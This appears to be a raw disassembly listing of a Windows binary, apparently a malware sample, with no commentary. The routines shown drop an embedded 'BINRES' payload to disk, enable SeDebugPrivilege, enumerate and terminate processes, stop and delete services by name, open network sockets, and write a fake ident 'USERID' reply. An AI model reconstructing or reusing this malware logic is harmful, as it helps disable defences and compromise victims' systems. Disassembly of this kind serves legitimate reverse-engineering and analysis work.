		jmp	loc_41DFD1
; ---------------------------------------------------------------------------


loc_41DE6D:				; CODE XREF: _294ADE7B:0041DE5Fj
		mov	cl, ds:byte_440113
		xor	ebx, ebx
		cmp	cl, bl
		mov	ds:byte_4992A9,	1
		jnz	loc_41DFC4
		lea	ecx, [esp+10h]
		push	ecx
		push	eax
		call	sub_401E8D
		mov	ebp, eax
		add	esp, 8
		cmp	ebp, 0FFFFFFFFh
		jz	loc_41DFB7
		push	edi
		lea	ecx, [esp+24h]
		call	sub_4013CF
		mov	[esp+9Ch], ebx
		call	sub_401DB1
		mov	esi, ds:dword_4B3A9C
		call	esi
		cdq
		mov	ecx, 3
		push	offset byte_43FDC8
		idiv	ecx
		lea	ecx, [esp+28h]
		mov	edi, edx
		add	edi, 0Ah
		call	sub_401564
		cmp	edi, ebx
		jle	short loc_41DF36


loc_41DEDA:				; CODE XREF: _294ADE7B:0041DF34j
		lea	ecx, [esp+3Ch]
		call	sub_4013CF
		lea	edx, [esp+24h]
		lea	ecx, [esp+3Ch]
		push	edx
		mov	byte ptr [esp+0A0h], 1
		call	sub_401E65
		call	esi
		cdq
		mov	ecx, 1Ah
		idiv	ecx
		lea	ecx, [esp+3Ch]
		add	edx, 61h
		push	edx
		call	sub_401726
		push	eax
		lea	edx, [esp+2Ch]
		push	offset dword_43BD58
		push	edx
		call	sub_40102D
		add	esp, 10h
		lea	ecx, [esp+3Ch]
		mov	[esp+9Ch], bl
		call	sub_4011F9
		dec	edi
		jnz	short loc_41DEDA


loc_41DF36:				; CODE XREF: _294ADE7B:0041DED8j
		push	0Ah
		lea	ecx, [esp+28h]
		call	sub_40141A
		mov	[eax], bl
		mov	ecx, 10h
		xor	eax, eax
		lea	edi, [esp+54h]
		rep stosd
		lea	ecx, [esp+24h]
		call	sub_401726
		push	eax
		push	71h
		call	esi
		cdq
		mov	ecx, 1770h
		idiv	ecx
		inc	edx
		push	edx
		lea	edx, [esp+60h]
		push	offset aDDUseridUnixS ;	"%d, %d	: USERID : UNIX	: %s\r\n"
		push	edx
		call	ds:dword_4B3C18
		add	esp, 14h
		lea	eax, [esp+54h]
		push	ebx
		push	40h
		push	eax
		push	ebp
		call	ds:dword_4B3C9C
		mov	esi, ds:dword_4B3CA8
		push	ebp
		call	esi
		lea	ecx, [esp+24h]
		mov	dword ptr [esp+9Ch], 0FFFFFFFFh
		call	sub_4011F9
		mov	ecx, [esp+10h]
		push	ecx
		call	esi
		mov	ds:byte_4992A9,	bl
		pop	edi
		jmp	short loc_41DFCE
; ---------------------------------------------------------------------------


loc_41DFB7:				; CODE XREF: _294ADE7B:0041DE97j
		push	7D0h
		call	ds:dword_4B38CC
		jmp	short loc_41DFD1
; ---------------------------------------------------------------------------


loc_41DFC4:				; CODE XREF: _294ADE7B:0041DE7Ej
		mov	ebp, [esp+0Ch]
		mov	esi, ds:dword_4B3CA8


loc_41DFCE:				; CODE XREF: _294ADE7B:0041DFB5j
		push	ebp
		call	esi


loc_41DFD1:				; CODE XREF: _294ADE7B:0041DE68j
					; _294ADE7B:0041DFC2j
		mov	ecx, [esp+90h]
		pop	esi
		pop	ebp
		xor	eax, eax
		pop	ebx
		mov	large fs:0, ecx
		add	esp, 90h
		retn
; ---------------------------------------------------------------------------
		db 5 dup(90h)
		db 70h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_41E060	proc near		; CODE XREF: sub_4019DDj

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		dec	eax
		jz	short loc_41E09B
		dec	eax
		jz	short loc_41E084
		dec	eax
		jnz	short loc_41E0C1
		mov	ecx, ds:dword_4AFD18
		mov	ds:dword_4AFCFC, 4
		call	sub_401C9E
		jmp	short loc_41E0C1
; ---------------------------------------------------------------------------


loc_41E084:				; CODE XREF: sub_41E060+8j
		mov	ecx, ds:dword_4AFD18
		mov	ds:dword_4AFCFC, 7
		call	sub_401028
		jmp	short loc_41E0C1
; ---------------------------------------------------------------------------


loc_41E09B:				; CODE XREF: sub_41E060+5j
		mov	ecx, ds:dword_4AFD18
		xor	eax, eax
		mov	ds:dword_4AFD04, eax
		mov	ds:dword_4AFCFC, 1
		mov	ds:dword_4AFD0C, eax
		mov	ds:dword_4AFD10, eax
		call	sub_4016A4


loc_41E0C1:				; CODE XREF: sub_41E060+Bj
					; sub_41E060+22j ...
		mov	eax, ds:dword_4AFD1C
		push	offset dword_4AFCF8
		push	eax
		mov	ds:dword_4AFCFC, 4
		call	ds:dword_4B3744
		retn	4
sub_41E060	endp

; ---------------------------------------------------------------------------
		db 90h
		db 20h dup(0CCh)
; ---------------------------------------------------------------------------


loc_41E100:				; CODE XREF: _294ADE7B:loc_40187Fj
		push	esi
		xor	esi, esi
		push	offset sub_4019DD
		mov	ecx, offset byte_4407A7
		mov	ds:dword_4AFCF8, 20h
		mov	ds:dword_4AFCFC, 2
		mov	ds:dword_4AFD00, 3
		mov	ds:dword_4AFD04, esi
		mov	ds:dword_4AFD08, esi
		mov	ds:dword_4AFD0C, esi
		mov	ds:dword_4AFD10, esi
		call	sub_401726
		push	eax
		call	ds:dword_4B3740
		cmp	eax, esi
		mov	ds:dword_4AFD1C, eax
		jz	short loc_41E17A
		push	offset dword_4AFCF8
		push	eax
		mov	ds:dword_4AFCFC, 4
		mov	ds:dword_4AFD0C, esi
		mov	ds:dword_4AFD10, esi
		call	ds:dword_4B3744


loc_41E17A:				; CODE XREF: _294ADE7B:0041E156j
		pop	esi
		retn	8
; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_41E1A0	proc near		; CODE XREF: sub_401064j
		push	esi
		mov	esi, ecx
		call	sub_401D2F
		mov	dword ptr [esi], offset	off_43707C
		mov	eax, esi
		pop	esi
		retn
sub_41E1A0	endp

; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_41E1D0	proc near		; CODE XREF: sub_401BBDj

var_110		= dword	ptr -110h
var_10C		= dword	ptr -10Ch
var_108		= dword	ptr -108h
var_104		= dword	ptr -104h
var_100		= byte ptr -100h

		sub	esp, 110h
		mov	ds:dword_4AFD18, ecx
		push	100h
		mov	ecx, offset byte_4407A7
		call	sub_401726
		push	eax
		lea	eax, [esp+118h+var_100]
		push	eax
		call	ds:dword_4B3AE0
		add	esp, 0Ch
		lea	edx, [esp+110h+var_110]
		lea	ecx, [esp+110h+var_100]
		xor	eax, eax
		push	edx
		mov	[esp+114h+var_110], ecx
		mov	[esp+114h+var_10C], offset loc_40187F
		mov	[esp+114h+var_108], eax
		mov	[esp+114h+var_104], eax
		call	ds:dword_4B373C
		xor	eax, eax
		add	esp, 110h
		retn
sub_41E1D0	endp

; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 20h dup(0CCh)
; ---------------------------------------------------------------------------


loc_41E250:				; CODE XREF: _294ADE7B:00401B18j
		mov	eax, [esp+4]
		push	ebx
		push	esi
		push	edi
		push	offset aWb	; "wb"
		push	eax
		call	ds:dword_4B3A90
		mov	ebx, eax
		add	esp, 8
		test	ebx, ebx
		jnz	short loc_41E272
		pop	edi
		pop	esi
		xor	al, al
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_41E272:				; CODE XREF: _294ADE7B:0041E26Aj
		mov	ecx, [esp+18h]
		push	ecx
		call	ds:dword_4B38C0
		mov	esi, eax
		test	esi, esi
		jnz	short loc_41E289
		pop	edi
		pop	esi
		xor	al, al
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_41E289:				; CODE XREF: _294ADE7B:0041E281j
		mov	edx, [esp+14h]
		push	offset aBinres	; "BINRES"
		and	edx, 0FFFFh
		push	edx
		push	esi
		call	ds:dword_4B38FC
		mov	edi, eax
		test	edi, edi
		jnz	short loc_41E2AC
		pop	edi
		pop	esi
		xor	al, al
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_41E2AC:				; CODE XREF: _294ADE7B:0041E2A4j
		push	ebp
		push	edi
		push	esi
		call	ds:dword_4B3884
		push	edi
		push	esi
		mov	ebp, eax
		call	ds:dword_4B3888
		push	ebp
		mov	esi, eax
		call	ds:dword_4B388C
		push	ebx
		push	esi
		push	1
		push	eax
		call	ds:dword_4B3A78
		push	ebx
		call	ds:dword_4B3A94
		add	esp, 14h
		mov	al, 1
		pop	ebp
		pop	edi
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------
		db 0Ch dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_41E320	proc near		; CODE XREF: sub_4017C1j

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		push	esi
		call	ds:dword_4B3CBC
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_41E348
		push	esi
		call	ds:dword_4B3CA4
		test	eax, eax
		jnz	short loc_41E341
		or	eax, 0FFFFFFFFh
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_41E341:				; CODE XREF: sub_41E320+1Aj
		mov	eax, [eax+0Ch]
		mov	ecx, [eax]
		mov	eax, [ecx]


loc_41E348:				; CODE XREF: sub_41E320+Fj
		pop	esi
		retn
sub_41E320	endp

; ---------------------------------------------------------------------------
		db 6 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_41E360	proc near		; CODE XREF: sub_4019ABj

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		sub	esp, 10h
		push	esi
		push	6
		push	1
		push	2
		call	ds:dword_4B3CAC
		mov	esi, eax
		cmp	esi, 0FFFFFFFFh
		jnz	short loc_41E37E
		or	eax, eax
		pop	esi
		add	esp, 10h
		retn
; ---------------------------------------------------------------------------


loc_41E37E:				; CODE XREF: sub_41E360+15j
		mov	ecx, [esp+14h+arg_4]
		xor	eax, eax
		mov	[esp+14h+var_10], eax
		push	ecx
		mov	[esp+18h+var_C], eax
		mov	word ptr [esp+18h+var_10], 2
		mov	[esp+18h+var_8], eax
		mov	[esp+18h+var_4], eax
		call	ds:dword_4B3CB0
		mov	edx, [esp+14h+arg_0]
		mov	word ptr [esp+14h+var_10+2], ax
		push	edx
		call	sub_4017C1
		add	esp, 4
		mov	[esp+14h+var_C], eax
		lea	eax, [esp+14h+var_10]
		push	10h
		push	eax
		push	esi
		call	ds:dword_4B3CB4
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_41E3DA
		push	esi
		call	ds:dword_4B3CA8
		or	eax, 0FFFFFFFFh
		pop	esi
		add	esp, 10h
		retn
; ---------------------------------------------------------------------------


loc_41E3DA:				; CODE XREF: sub_41E360+69j
		mov	eax, esi
		pop	esi
		add	esp, 10h
		retn
sub_41E360	endp

; ---------------------------------------------------------------------------
		db 0Fh dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_41E420	proc near		; CODE XREF: sub_4018A7j

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  4

		sub	esp, 10h
		push	esi
		push	6
		push	1
		push	2
		call	ds:dword_4B3CAC
		mov	esi, eax
		cmp	esi, 0FFFFFFFFh
		jnz	short loc_41E43E
		or	eax, eax
		pop	esi
		add	esp, 10h
		retn
; ---------------------------------------------------------------------------


loc_41E43E:				; CODE XREF: sub_41E420+15j
		mov	ecx, [esp+14h+arg_0]
		xor	eax, eax
		mov	[esp+14h+var_10], eax
		push	ecx
		mov	[esp+18h+var_C], eax
		mov	word ptr [esp+18h+var_10], 2
		mov	[esp+18h+var_8], eax
		mov	[esp+18h+var_4], eax
		call	ds:dword_4B3CB0
		lea	edx, [esp+14h+var_10]
		push	10h
		push	edx
		push	esi
		mov	word ptr [esp+20h+var_10+2], ax
		mov	[esp+20h+var_C], 0
		call	ds:dword_4B3C58
		test	eax, eax
		jz	short loc_41E490
		push	esi
		call	ds:dword_4B3CA8
		or	eax, 0FFFFFFFFh
		pop	esi
		add	esp, 10h
		retn
; ---------------------------------------------------------------------------


loc_41E490:				; CODE XREF: sub_41E420+5Fj
		mov	eax, esi
		pop	esi
		add	esp, 10h
		retn
sub_41E420	endp

; ---------------------------------------------------------------------------
		db 9 dup(90h)
		db 20h dup(0CCh)
; ---------------------------------------------------------------------------


loc_41E4C0:				; CODE XREF: _294ADE7B:004012A8j
		sub	esp, 10h
		push	esi
		mov	esi, [esp+18h]
		push	0Ah
		push	esi
		call	ds:dword_4B3C54
		cmp	eax, 0FFFFFFFFh
		jz	short loc_41E4F4
		lea	eax, [esp+18h]
		lea	ecx, [esp+4]
		push	eax
		push	ecx
		push	esi
		mov	dword ptr [esp+24h], 10h
		call	ds:dword_4B3C64
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_41E4F7


loc_41E4F4:				; CODE XREF: _294ADE7B:0041E4D4j
		or	eax, 0FFFFFFFFh


loc_41E4F7:				; CODE XREF: _294ADE7B:0041E4F2j
		pop	esi
		add	esp, 10h
		retn
; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_41E510	proc near		; CODE XREF: sub_401E8Dj

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		push	edi
		mov	edi, [esp+8+arg_4]
		test	edi, edi
		jz	short loc_41E546
		mov	esi, [esp+8+arg_0]
		push	0Ah
		push	esi
		call	ds:dword_4B3C54
		cmp	eax, 0FFFFFFFFh
		jz	short loc_41E546
		lea	eax, [esp+8+arg_4]
		mov	[esp+8+arg_4], 10h
		push	eax
		push	edi
		push	esi
		call	ds:dword_4B3C64
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_41E549


loc_41E546:				; CODE XREF: sub_41E510+8j
					; sub_41E510+1Aj
		or	eax, 0FFFFFFFFh


loc_41E549:				; CODE XREF: sub_41E510+34j
		pop	edi
		pop	esi
		retn
sub_41E510	endp

; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_41E560	proc near		; CODE XREF: sub_40157Dj

var_42		= byte ptr -42h
var_3E		= byte ptr -3Eh
var_28		= byte ptr -28h
var_1C		= dword	ptr -1Ch
var_18		= byte ptr -18h
var_10		= byte ptr -10h
var_C		= byte ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= byte ptr  4
arg_4		= byte ptr  8
arg_104		= byte ptr  108h
arg_110		= byte ptr  114h
arg_10DC	= dword	ptr  10E0h

		mov	eax, 1114h
		call	sub_430390
		lea	eax, [esp+arg_4]
		lea	ecx, [esp+arg_110]
		push	eax
		push	1000h
		push	ecx
		mov	byte ptr [esp+0Fh], 0
		call	sub_430AD4
		test	eax, eax
		jnz	short loc_41E593
		xor	al, al
		add	esp, 1114h
		retn
; ---------------------------------------------------------------------------


loc_41E593:				; CODE XREF: sub_41E560+28j
		mov	eax, [esp+0Ch+var_4]
		shr	eax, 2
		jz	loc_41E65D
		push	ebx
		mov	ebx, ds:dword_4B387C
		push	ebp
		push	esi
		push	edi
		lea	ebp, [esp+1Ch+arg_104]
		mov	[esp+1Ch+var_8], eax


loc_41E5B5:				; CODE XREF: sub_41E560+F3j
		mov	edi, offset aUnknown ; "unknown"
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		lea	edx, [esp+1Ch+arg_0]
		repne scasb
		not	ecx
		sub	edi, ecx
		mov	eax, ecx
		mov	esi, edi
		mov	edi, edx
		shr	ecx, 2
		rep movsd
		mov	ecx, eax
		and	ecx, 3
		rep movsb
		mov	ecx, [ebp+0]
		push	ecx
		push	0
		push	411h
		call	ebx
		mov	esi, eax
		test	esi, esi
		jz	short loc_41E647
		lea	edx, [esp+28h+var_10]
		lea	eax, [esp+28h+var_C]
		push	edx
		push	4
		push	eax
		push	esi
		call	sub_430ACE
		test	eax, eax
		jz	short loc_41E640
		mov	edx, [esp+38h+var_1C]
		lea	ecx, [esp+38h+var_18]
		push	104h
		push	ecx
		push	edx
		push	esi
		call	sub_430AC8
		mov	eax, [esp+48h+arg_10DC]
		lea	ecx, [esp+48h+var_28]
		push	eax
		push	ecx
		call	ds:dword_4B3AFC
		add	esp, 8
		test	eax, eax
		jnz	short loc_41E640
		push	eax
		push	esi
		call	ds:dword_4B3880
		mov	byte ptr [esp+13h], 1


loc_41E640:				; CODE XREF: sub_41E560+A2j
					; sub_41E560+D1j
		push	esi
		call	ds:dword_4B38C8


loc_41E647:				; CODE XREF: sub_41E560+8Cj
		mov	eax, [esp+14h]
		add	ebp, 4
		dec	eax
		mov	[esp+14h], eax
		jnz	loc_41E5B5
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx


loc_41E65D:				; CODE XREF: sub_41E560+3Aj
		mov	al, [esp+3]
		add	esp, 1114h
		retn
sub_41E560	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 50h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_41E6C0	proc near		; CODE XREF: sub_40191Fj

var_455		= byte ptr -455h
var_454		= dword	ptr -454h
var_450		= dword	ptr -450h
var_44C		= byte ptr -44Ch
var_43C		= byte ptr -43Ch
var_424		= byte ptr -424h
var_40C		= byte ptr -40Ch
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4
arg_0		= dword	ptr  4

		push	0FFFFFFFFh
		push	offset SEH_41E6C0
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 44Ch
		push	ebx
		push	esi
		mov	esi, [esp+460h+arg_0]
		lea	ecx, [esp+460h+var_424]
		push	esi
		call	sub_4017A8
		push	eax
		mov	[esp+464h+var_4], 0
		call	sub_401D57
		add	esp, 4
		lea	ecx, [esp+460h+var_424]
		mov	bl, al
		mov	[esp+460h+var_4], 0FFFFFFFFh
		call	sub_4011F9
		test	bl, bl
		jz	loc_41E83A
		lea	ecx, [esp+460h+var_43C]
		call	sub_4013CF
		push	esi
		lea	eax, [esp+464h+var_43C]
		mov	ebx, 1
		push	offset aSystemCurrentc ; "SYSTEM\\CurrentControlSet\\Services\\%s"
		push	eax
		mov	[esp+46Ch+var_4], ebx
		mov	[esp+46Ch+var_454], 0
		mov	[esp+46Ch+var_450], 80h
		call	sub_40102D
		add	esp, 0Ch
		lea	ecx, [esp+460h+var_454]
		push	ecx
		push	20019h
		push	0
		lea	ecx, [esp+46Ch+var_43C]
		call	sub_4015F5
		push	eax
		push	80000002h
		call	ds:dword_4B3770
		mov	ecx, [esp+460h+var_454]
		lea	edx, [esp+460h+var_450]
		lea	eax, [esp+460h+var_40C]
		push	edx
		push	eax
		push	0
		push	0
		push	offset aImagepath ; "ImagePath"
		push	ecx
		call	ds:dword_4B3738
		lea	edx, [esp+460h+var_455]
		lea	eax, [esp+460h+var_40C]
		push	edx
		push	eax
		lea	ecx, [esp+468h+var_44C]
		call	ds:dword_4B39A4
		mov	ecx, ds:dword_4B39BC
		mov	byte ptr [esp+460h+var_4], 2
		mov	edx, [ecx]
		lea	ecx, [esp+460h+var_44C]
		push	edx
		push	offset asc_43BFF8 ; "\\"
		call	ds:dword_4B39C0
		inc	eax
		lea	ecx, [esp+460h+var_44C]
		push	eax
		push	0
		call	ds:dword_4B399C
		lea	ecx, [esp+460h+var_44C]
		call	ds:dword_4B39A0
		push	eax
		call	sub_40157D
		add	esp, 4
		lea	ecx, [esp+460h+var_43C]
		call	sub_4015F5
		push	eax
		call	ds:dword_4B38D4
		lea	ecx, [esp+460h+var_44C]
		mov	byte ptr [esp+460h+var_4], bl
		call	ds:dword_4B39AC
		lea	ecx, [esp+460h+var_43C]
		mov	[esp+460h+var_4], 0FFFFFFFFh
		call	sub_4011F9
		mov	al, bl
		pop	esi
		pop	ebx
		mov	ecx, [esp+458h+var_C]
		mov	large fs:0, ecx
		add	esp, 458h
		retn
; ---------------------------------------------------------------------------


loc_41E83A:				; CODE XREF: sub_41E6C0+5Aj
		mov	ecx, [esp+460h+var_C]
		pop	esi
		xor	al, al
		pop	ebx
		mov	large fs:0, ecx
		add	esp, 458h
		retn
sub_41E6C0	endp

; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 70h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_41E8D0	proc near		; CODE XREF: sub_401D57j

var_1C		= byte ptr -1Ch
arg_0		= dword	ptr  4

		sub	esp, 1Ch
		push	ebx
		push	esi
		push	0F003Fh
		push	offset aServicesactive ; "ServicesActive"
		push	0
		call	ds:dword_4B3758
		mov	ebx, eax
		test	ebx, ebx
		jnz	short loc_41E8F5
		pop	esi
		xor	al, al
		pop	ebx
		add	esp, 1Ch
		retn
; ---------------------------------------------------------------------------


loc_41E8F5:				; CODE XREF: sub_41E8D0+1Bj
		mov	ecx, [esp+24h+arg_0]
		push	0F01FFh
		call	sub_401726
		push	eax
		push	ebx
		call	ds:dword_4B374C
		mov	esi, eax
		test	esi, esi
		jnz	short loc_41E920
		push	ebx
		call	ds:dword_4B3760
		pop	esi
		xor	al, al
		pop	ebx
		add	esp, 1Ch
		retn
; ---------------------------------------------------------------------------


loc_41E920:				; CODE XREF: sub_41E8D0+3Fj
		push	ebp
		push	edi
		mov	edi, ds:dword_4B3754
		push	esi
		call	edi
		push	esi
		call	edi
		mov	ebp, ds:dword_4B3750
		lea	eax, [esp+2Ch+var_1C]
		push	eax
		push	1
		push	esi
		call	ebp
		push	esi
		call	edi
		lea	ecx, [esp+2Ch+var_1C]
		push	ecx
		push	1
		push	esi
		call	ebp
		push	esi
		mov	esi, ds:dword_4B3760
		call	esi
		push	ebx
		call	esi
		pop	edi
		pop	ebp
		pop	esi
		mov	al, 1
		pop	ebx
		add	esp, 1Ch
		retn
sub_41E8D0	endp

; ---------------------------------------------------------------------------
		db 0Fh dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_41E9A0	proc near		; CODE XREF: sub_4017DAj

var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= byte ptr -1Ch
var_14		= dword	ptr -14h
var_10		= byte ptr -10h
arg_0		= dword	ptr  4

		sub	esp, 28h
		push	ebx
		push	ebp
		push	esi
		lea	eax, [esp+34h+var_28]
		push	edi
		xor	esi, esi
		push	eax
		push	esi
		push	28h
		xor	bl, bl
		mov	[esp+44h+var_24], 10h
		call	ds:dword_4B3874
		push	eax
		call	ds:dword_4B3720
		mov	ebp, ds:dword_4B3724
		mov	edi, ds:dword_4B38C8
		test	eax, eax
		jnz	short loc_41E9F0
		lea	ecx, [esp+38h+var_28]
		push	ecx
		push	28h
		call	ds:dword_4B3878
		push	eax
		call	ds:dword_4B3728
		test	eax, eax
		jz	short loc_41EA4F


loc_41E9F0:				; CODE XREF: sub_41E9A0+36j
		cmp	[esp+38h+var_28], esi
		jz	short loc_41EA53
		lea	edx, [esp+38h+var_1C]
		mov	[esp+38h+var_20], 1
		push	edx
		push	offset aSedebugprivile ; "SeDebugPrivilege"
		push	esi
		mov	[esp+44h+var_14], 2
		call	ds:dword_4B3734
		lea	eax, [esp+38h+var_24]
		lea	ecx, [esp+38h+var_10]
		push	eax
		mov	eax, [esp+3Ch+var_28]
		push	ecx
		lea	edx, [esp+40h+var_20]
		push	10h
		push	edx
		push	esi
		push	eax
		call	ebp
		test	eax, eax
		jz	short loc_41EA48
		call	ds:dword_4B3898
		cmp	eax, 514h
		jnz	short loc_41EA53
		mov	ecx, [esp+38h+var_28]
		push	ecx
		jmp	short loc_41EA4D
; ---------------------------------------------------------------------------


loc_41EA48:				; CODE XREF: sub_41E9A0+92j
		mov	edx, [esp+38h+var_28]
		push	edx


loc_41EA4D:				; CODE XREF: sub_41E9A0+A6j
		call	edi


loc_41EA4F:				; CODE XREF: sub_41E9A0+4Ej
		mov	[esp+38h+var_28], esi


loc_41EA53:				; CODE XREF: sub_41E9A0+54j
					; sub_41E9A0+9Fj
		mov	eax, [esp+38h+arg_0]
		push	eax
		push	esi
		push	411h
		call	ds:dword_4B387C
		mov	esi, eax
		test	esi, esi
		jz	short loc_41EA78
		push	0
		push	esi
		call	ds:dword_4B3880
		push	esi
		mov	bl, 1
		call	edi


loc_41EA78:				; CODE XREF: sub_41E9A0+C8j
		mov	eax, [esp+38h+var_28]
		test	eax, eax
		jz	short loc_41EA97
		push	0
		push	0
		lea	ecx, [esp+40h+var_10]
		push	10h
		push	ecx
		push	0
		push	eax
		call	ebp
		mov	edx, [esp+38h+var_28]
		push	edx
		call	edi


loc_41EA97:				; CODE XREF: sub_41E9A0+DEj
		pop	edi
		pop	esi
		mov	al, bl
		pop	ebp
		pop	ebx
		add	esp, 28h
		retn
sub_41E9A0	endp

; ---------------------------------------------------------------------------
		db 0Fh dup(90h)
		db 50h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_41EB00	proc near		; CODE XREF: sub_4011AEj

var_68		= dword	ptr -68h
var_54		= byte ptr -54h
var_4C		= dword	ptr -4Ch
var_3C		= byte ptr -3Ch
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_28		= byte ptr -28h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= byte ptr -4
arg_F4		= byte ptr  0F8h
arg_100		= byte ptr  104h
arg_10C4	= dword	ptr  10C8h
arg_10D0	= dword	ptr  10D4h
arg_1104	= dword	ptr  1108h
arg_1118	= dword	ptr  111Ch

		mov	eax, large fs:0
		push	0FFFFFFFFh
		push	offset SEH_41EB00
		push	eax
		mov	eax, 1130h
		mov	large fs:0, esp
		call	sub_430390
		push	esi
		push	offset aPsapi_dll ; "PSAPI.DLL"
		call	ds:dword_4B38C0
		test	eax, eax
		mov	ds:dword_4AFD20, eax
		jnz	short loc_41EB4C
		push	offset aPsapi_dll ; "PSAPI.DLL"
		call	ds:dword_4B38A4
		test	eax, eax
		mov	ds:dword_4AFD20, eax
		jz	loc_41ECCA


loc_41EB4C:				; CODE XREF: sub_41EB00+32j
		mov	esi, ds:dword_4B38A8
		push	offset aEnumprocesses ;	"EnumProcesses"
		push	eax
		call	esi
		mov	ds:dword_4AFD24, eax
		mov	eax, ds:dword_4AFD20
		push	offset aEnumprocessmod ; "EnumProcessModules"
		push	eax
		call	esi
		mov	ecx, ds:dword_4AFD20
		push	offset aGetmodulefilen ; "GetModuleFileNameExA"
		push	ecx
		mov	ds:dword_4AFD28, eax
		call	esi
		mov	ecx, ds:dword_4AFD24
		mov	ds:dword_4AFD2C, eax
		test	ecx, ecx
		jz	loc_41ECCA
		mov	edx, ds:dword_4AFD28
		test	edx, edx
		jz	loc_41ECCA
		test	eax, eax
		jz	loc_41ECCA
		lea	edx, [esp+30h+var_28]
		lea	eax, [esp+30h+arg_100]
		push	edx
		push	1000h
		push	eax
		call	ecx
		test	eax, eax
		jz	loc_41ECCA
		mov	ecx, dword ptr ds:aUnknown ; "unknown"
		mov	eax, dword ptr ds:aUnknown+4
		mov	edx, [esp+3Ch+var_34]
		push	edi
		mov	[esp+40h+var_C], ecx
		mov	[esp+40h+var_8], eax
		mov	ecx, 3Fh
		mov	eax, 0
		lea	edi, [esp+40h+var_4]
		shr	edx, 2
		rep stosd
		jz	loc_41ECB1
		push	ebx
		mov	ebx, [esp+44h+arg_1104]
		push	ebp
		mov	ebp, ds:dword_4B387C
		lea	edi, [esp+48h+arg_F4]
		mov	[esp+48h+var_38], edx


loc_41EC0F:				; CODE XREF: sub_41EB00+1A9j
		mov	ecx, [edi]
		push	ecx
		push	0
		push	410h
		call	ebp
		mov	esi, eax
		test	esi, esi
		jz	short loc_41EC9D
		lea	edx, [esp+54h+var_38]
		lea	eax, [esp+54h+var_3C]
		push	edx
		push	4
		push	eax
		push	esi
		call	ds:dword_4AFD28
		test	eax, eax
		jz	short loc_41EC96
		mov	edx, [esp+64h+var_4C]
		lea	ecx, [esp+64h+var_28]
		push	104h
		push	ecx
		push	edx
		push	esi
		call	ds:dword_4AFD2C
		lea	ecx, [esp+74h+var_54]
		call	sub_4017AD
		lea	eax, [esp+74h+var_38]
		lea	ecx, [esp+74h+var_54]
		push	eax
		mov	[esp+78h+arg_10D0], 0
		call	sub_401564
		mov	ecx, [edi]
		lea	edx, [esp+74h+var_54]
		mov	[esp+35h], ecx
		push	edx
		mov	ecx, ebx
		call	sub_401FDC
		lea	ecx, [esp+74h+var_54]
		mov	[esp+74h+arg_10D0], 0FFFFFFFFh
		call	sub_40198D


loc_41EC96:				; CODE XREF: sub_41EB00+136j
		push	esi
		call	ds:dword_4B38C8


loc_41EC9D:				; CODE XREF: sub_41EB00+11Fj
		mov	eax, [esp+78h+var_68]
		add	edi, 4
		dec	eax
		mov	[esp+78h+var_68], eax
		jnz	loc_41EC0F
		pop	ebp
		pop	ebx


loc_41ECB1:				; CODE XREF: sub_41EB00+EFj
		pop	edi
		mov	al, 1
		pop	esi
		mov	ecx, [esp+68h+arg_10C4]
		mov	large fs:0, ecx
		add	esp, 113Ch
		retn
; ---------------------------------------------------------------------------


loc_41ECCA:				; CODE XREF: sub_41EB00+46j
					; sub_41EB00+8Cj ...
		mov	ecx, [esp+18h+arg_1118]
		xor	al, al
		pop	esi
		mov	large fs:0, ecx
		add	esp, 113Ch
		retn
sub_41EB00	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 80h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_41ED70	proc near		; CODE XREF: sub_4017ADj
		push	esi
		mov	esi, ecx
		call	sub_4013CF
		mov	eax, esi
		pop	esi
		retn
sub_41ED70	endp

; ---------------------------------------------------------------------------
		db 4 dup(90h)
